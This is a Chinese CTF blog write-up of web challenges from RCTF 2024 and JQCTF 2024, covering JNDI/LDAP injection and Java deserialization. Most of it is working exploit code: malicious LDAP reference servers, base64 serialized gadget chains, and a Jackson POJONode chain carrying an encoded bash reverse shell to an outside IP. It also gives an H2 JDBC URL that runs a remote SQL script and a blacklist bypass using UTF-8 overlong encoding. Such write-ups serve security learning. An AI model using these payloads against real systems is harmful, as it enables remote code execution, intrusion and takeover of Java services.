May 27, 2024

JQCTF2024、RCTF2024 Web Writeup

image.png
dadf588497bf507a2b0ceac984d0297a.png

RCTF

OpenYourEyesToSeeTheWorld

一题考的是

new InitialDirContext(properties)).search该如何去触发Jndi。这一题指定post传入json,指定searchBase和filter。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /index HTTP/1.1
Host: localhost:8899
sec-ch-ua-platform: "macOS"
Pragma: no-cache
sec-ch-ua-mobile: ?0
Cache-Control: no-cache
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Accept-Language: zh-CN,zh;q=0.9
Cookie: Goland-5df45c20=acaad4c4-6ed5-4e7f-a2f0-891765d48e30; Phpstorm-b9a68abe=849deb9b-548a-4ca8-8d65-7c13b6503159; Idea-44fa379b=c955cda9-e124-4dce-a7f3-1dc2bff3d8ba
sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Sec-Fetch-Dest: document
Content-Type: application/json

{"searchBase":"dc\u003Dexample,dc\u003Dcom","filter":"ObjectClass\u003D123","ip":"8.130.24.188","port":8088}

其实ldap的search就是lookup的另一个版本,他们都是进行筛选,只不过lookup是直接在url里筛选,search是另外启2个参数。在调试流程不难发现下述过程

我们会进入p_search方法内部,进而进入p_resolveIntermediate

假如我们进入c_resolveIntermediate_nns

那么就会进入c_lookup请求,进入c_lookup请求后

你就会看见熟悉的decodeObject了。这里可以进行反序列化。
而我们想进入c_resolveIntermediate_nns也很简单,Head或者Tail不为空即可,我们随便给searchBase加上个前缀。



最终进行反序列化了,然后就使用POJONODE打一个RCE的gadget就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import java.net.*;
import java.text.ParseException;
import java.util.Base64;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class DeserLdapRefServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
ldap_port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#org.apache.tomcat.jdbc.pool.DataSourceFactory")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + ldap_port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "javax.sql.DataSource");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//
/** Payload1 end **/

/** Payload2: Return Serialized Gadget **/
// try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData",Base64.getDecoder().decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRh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GFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4ABUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABxsr+ur4AAAAxABkBAAVLVmlZawcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlBwADDAAFAAYKAAgACQEAEWphdmEvbGFuZy9SdW50aW1lBwALAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADQAOCgAMAA8BAGliYXNoIC1jIHtlY2hvLFltRnphQ0F0WXlBaVltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDODRMakV6TUM0eU5DNHhPRGd2TnpjM09DQThKakVpfXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0IABEBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAATABQKAAwAFQEAClNvdXJjZUZpbGUBAApLVmlZay5qYXZhACEAAgAEAAAAAAABAAEABQAGAAEABwAAABoAAgABAAAADiq3AAq4ABASErYAFlexAAAAAAABABcAAAACABhwdAAIYm9vZ2lwb3BwdwEAeA=="));

// } catch (ParseException e1) {
// e1.printStackTrace();
// }
/** Payload2 end **/

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
public static void main(String[] args) throws Exception {

// System.out.println("HttpServerAddress: "+args[0]);
// System.out.println("HttpServerPort: "+args[1]);
// System.out.println("LDAPServerPort: "+args[2]);
String http_server_ip = "127.0.0.1";
int ldap_port = 8088;
int http_server_port = 8000;

CodebaseServer.lanuchCodebaseURLServer(http_server_ip, http_server_port);
lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
}
}

JQCTF

ezjvav

admin/admin 正常登录
访问source
提示不是jsrc用户,猜了一下 jsrc是 jwt key 就没有然后了
黑名单如下

1
2
3
4
5
6
7
8
9
10
11
// 弱黑名单 通过bytes比较
java.util.HashMap
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.alibaba.fastjson.JSONArrayLlist



javax.management.BadAttributeValueExpException
com.sun.syndication.feed.impl.ToStringBean
java.security.SignedObject
com.sun.rowset.JdbcRowSetImpl

弱黑名单可以用utf-8-overlong直接绕过,墙黑名单ban了和没ban一样的,没啥区别,直接打jackson的pojonode就行了。exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.javasec.pocs.jackson;

import com.alibaba.fastjson.JSONObject;
import com.fasterxml.jackson.databind.node.POJONode;
import com.javasec.utils.SerializeUtils;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.sql.DataSource;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;


public class XstringTemplateChain {
public static void main(String[] args) throws Exception{
SerializeUtils.OverideJackson();
// Templates templates = SerializeUtils.getTemplateByclass("/Applications/CTFLearning/JavaSec/target/production/JavaSec/com/javasec/memshell/HW/IndexController.class");
Templates templates = SerializeUtils.getTemplate("bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3OCA8JjEi}|{base64,-d}|{bash,-i}");
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
// JSONObject jsonObject = new JSONObject();
// jsonObject.put("poc",templates);
POJONode jsonNodes = new POJONode(proxy);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("123"));
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes);
// 执行序列化与反序列化,并且返回序列化数据
HashMap<Object, Object> map = SerializeUtils.makeMap(h1, h2);
System.out.println(base64serial(map));
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
CustomObjectOutputStream oos = new CustomObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}
}


直接sudo读flag就行了。

ezldap


actuator 接口泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
{
"_links": {
"self": {
"href": "http://10.233.71.102:8080/actuator",
"templated": false
},
"beans": {
"href": "http://10.233.71.102:8080/actuator/beans",
"templated": false
},
"caches": {
"href": "http://10.233.71.102:8080/actuator/caches",
"templated": false
},
"caches-cache": {
"href": "http://10.233.71.102:8080/actuator/caches/{cache}",
"templated": true
},
"health-path": {
"href": "http://10.233.71.102:8080/actuator/health/{*path}",
"templated": true
},
"health": {
"href": "http://10.233.71.102:8080/actuator/health",
"templated": false
},
"info": {
"href": "http://10.233.71.102:8080/actuator/info",
"templated": false
},
"conditions": {
"href": "http://10.233.71.102:8080/actuator/conditions",
"templated": false
},
"configprops": {
"href": "http://10.233.71.102:8080/actuator/configprops",
"templated": false
},
"configprops-prefix": {
"href": "http://10.233.71.102:8080/actuator/configprops/{prefix}",
"templated": true
},
"env-toMatch": {
"href": "http://10.233.71.102:8080/actuator/env/{toMatch}",
"templated": true
},
"env": {
"href": "http://10.233.71.102:8080/actuator/env",
"templated": false
},
"loggers-name": {
"href": "http://10.233.71.102:8080/actuator/loggers/{name}",
"templated": true
},
"loggers": {
"href": "http://10.233.71.102:8080/actuator/loggers",
"templated": false
},
"heapdump": {
"href": "http://10.233.71.102:8080/actuator/heapdump",
"templated": false
},
"threaddump": {
"href": "http://10.233.71.102:8080/actuator/threaddump",
"templated": false
},
"metrics": {
"href": "http://10.233.71.102:8080/actuator/metrics",
"templated": false
},
"metrics-requiredMetricName": {
"href": "http://10.233.71.102:8080/actuator/metrics/{requiredMetricName}",
"templated": true
},
"scheduledtasks": {
"href": "http://10.233.71.102:8080/actuator/scheduledtasks",
"templated": false
},
"mappings": {
"href": "http://10.233.71.102:8080/actuator/mappings",
"templated": false
}
}
}

查看 mappings 发现 source 端点

源码泄露路由

1
2
3
4
5
6
7
8
9
10
11
@GetMapping("/lookup")
public String lookup(String path) {
try {
String url = "ldap://" + path;
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
return "ok";
}catch (NamingException e){
return "failed";
}
}

并且题目的环境是jdk17,这里就涉及到一个JDK17环境下的Ldap打法,我们先尽可能的搜集信息。

configprops根据hint去搜索pool,就只能看到Tomcat Connection,这里fuzz了一波发现是tomcat-jdbc依赖。我们可以配合h2去打一个rce就好。但是我们还需要注意一个东西

trustSerialData为false

那么就说明我们无法走ldap的deserialization路线,只能选择走下面的decodeRefence去配合ObjectFacotry打一个组合拳。而我们想走decodeRefence就需要设置javaNamingRefence


我们成功的进入了decodeReference,在这里我们会对我们传入的attrs做一个处理,去new一个Reference对象

我们选择我们的组合拳套餐。我们配合tomcat-jdbc去打h2,但这里还有个问题就是指定h2的jdbcUrl,这里我们需要利用到另一个变量

javaReferenceAddr,我们会取ldapserver给的这个值,然后对他做一个分隔处理。可以看到上图中用@隔开了变量名和值,传入了url为恶意的jdbc字符串。随之我们就会进入DatasourceFactory#getObjectInstance

最终发起H2连接RCE。

恶意LdapServer如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import java.net.*;
import java.text.ParseException;
import java.util.Base64;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class HackerLDAPRefServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
ldap_port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#org.apache.tomcat.jdbc.pool.DataSourceFactory")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + ldap_port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "javax.sql.DataSource");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Reference ref = new Reference("javax.sql.DataSource","com.zaxxer.hikari.HikariJNDIFactory",null);
// String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://8.130.24.188:7791/poc.sql'";
// ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
// ref.add(new StringRefAddr("jdbcUrl",url));
// ref.add(new StringRefAddr("username","root"));
// ref.add(new StringRefAddr("password","password"));
// ref.add(new StringRefAddr("initialSize","1"));
//
// e.addAttribute("javaSerializedData", Base64.getDecoder().decode( SerializeUtils.base64serial(ref)));

/** Payload1: Return Reference Factory **/
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("javaReferenceAddress", "@0@url@jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://8.130.24.188:7791/poc.sql'");
// e.addAttribute("javaReferenceAddress", "@0@url@jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('open /')\n$$\n");
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://8.130.24.188:7791/poc.sql'";
e.addAttribute("driverClassName","org.h2.Driver");
e.addAttribute("jdbcUrl",url);
/** Payload1 end **/

/** Payload2: Return Serialized Gadget **/
// try {
// // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
// e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGXHO08ZYmxfcgIADVoAHGNyZWF0ZUVtcHR5Q29tcG9zaXRlc0VuYWJsZWRaABJoYXNOb3ROdWxsUHJvcGVydHlaAAVpc0tleUkADHByb3BlcnR5U3BhbkwAD2NhbkRvRXh0cmFjdGlvbnQAE0xqYXZhL2xhbmcvQm9vbGVhbjtbAAdjYXNjYWRldAAoW0x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Xh0ZW50WgALaXNBZGp1c3RpbmdJAANtYXhJAANtaW5JAAV2YWx1ZUwADGxpc3RlbmVyTGlzdHEAfgBAeHAAAAAAAAAAAGQAAAAAAAAAAHNxAH4A6nQAIGphdmF4LnN3aW5nLmV2ZW50LkNoYW5nZUxpc3RlbmVyc3IAJmphdmF4LnN3aW5nLkpUZXh0RmllbGQkU2Nyb2xsUmVwYWludGVyXFnaAlsy6XICAAFMAAZ0aGlzJDB0ABhMamF2YXgvc3dpbmcvSlRleHRGaWVsZDt4cHEAfgBScHh4AAAAAAAAAXEAfgEacHEAfgAoc3IAIWphdmF4LnN3aW5nLnRleHQuRGVmYXVsdEZvcm1hdHRlcm/GpIfshP8BAgAGWgANYWxsb3dzSW52YWxpZFoADGNvbW1pdE9uRWRpdFoADW92ZXJ3cml0ZU1vZGVMAA5kb2N1bWVudEZpbHRlcnEAfgD1TAAQbmF2aWdhdGlvbkZpbHRlcnEAfgA7TAAKdmFsdWVDbGFzc3EAfgATeHIAMWphdmF4LnN3aW5nLkpGb3JtYXR0ZWRUZXh0RmllbGQkQWJzdHJhY3RGb3JtYXR0ZXJIb2KeGrCXPgIAAUwAA2Z0ZnEAfgAieHBwAQABcHB2cgBCb3JnLnNwcmluZ2ZyYW1ld29yay5jb250ZXh0LnN1cHBvcnQuQ2xhc3NQYXRoWG1sQXBwbGljYXRpb25Db250ZXh0AAAAAAAAAAAAAAB4cHBwcHhxAH4ABXNxAH4AAnEAfgARcQB+AChxAH4BOHg="));
// } catch (ParseException e1) {
// e1.printStackTrace();
// }
/** Payload2 end **/

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}

public static void main(String[] args) throws Exception {

// System.out.println("HttpServerAddress: "+args[0]);
// System.out.println("HttpServerPort: "+args[1]);
// System.out.println("LDAPServerPort: "+args[2]);
String http_server_ip = "127.0.0.1";
int ldap_port = 8089;
int http_server_port = 8001;

CodebaseServer.lanuchCodebaseURLServer(http_server_ip, http_server_port);
lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
}
}

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp